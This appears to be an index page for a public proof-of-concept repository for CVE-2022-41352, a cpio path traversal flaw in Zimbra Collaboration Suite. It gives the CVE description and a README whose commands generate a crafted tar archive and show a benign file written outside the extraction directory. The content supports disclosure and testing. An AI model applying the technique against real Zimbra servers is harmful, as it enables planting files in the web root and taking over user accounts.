CVE-2022-41352 PoC — Zimbra Collaboration Suite 路径遍历漏洞

Source

https://github.com/segfault-it/cve-2022-41352

Associated Vulnerability

Title:Zimbra Collaboration Suite 路径遍历漏洞 (CVE-2022-41352)
Description:An issue was discovered in Zimbra Collaboration (ZCS) 8.8.15 and 9.0. An attacker can upload arbitrary files through amavis via a cpio loophole (extraction to /opt/zimbra/jetty/webapps/zimbra/public) that can lead to incorrect access to any other user accounts. Zimbra recommends pax over cpio. Also, pax is in the prerequisites of Zimbra on Ubuntu; however, pax is no longer part of a default Red Hat installation after RHEL 6 (or CentOS 6). Once pax is installed, amavis automatically prefers it over cpio.

Description

cve-2022-41352 poc

Readme

# cve-2022-41352

# generate poc.tar
```
$ chmod +x cpio_pocgen.py
$ ./cpio_pocgen.py
```

# show the middle finger to cpio
```
$ cd /tmp
$ mkdir -p poc/a/b

copy poc.tar to /tmp/poc/a/b/

$ cd /tmp/poc/a/b/
$ cpio -i < poc.tar
$ ls -al ../
total 16
drwxrwxr-x 3 xabino xabino 4096 ott 10 14:56 .
drwxrwxr-x 3 xabino xabino 4096 ott 10 14:55 ..
drwxrwxr-x 2 xabino xabino 4096 ott 10 14:56 b
-rw-r--r-- 1 xabino xabino   35 ott 10 14:56 here.txt <-- resource outside of /tmp/poc/a/b/

$ cat ../here.txt
I should not be here - by segfault
```

File Snapshot


 [4.0K]  /data/pocs/704119233d9f91ebe14ebca58f173a9c14be06f3
├── [2.4K]  cpio_pocgen.py
├── [ 18K]  LICENSE
├── [2.5K]  poc.tar
└── [ 542]  README.md

0 directories, 4 files

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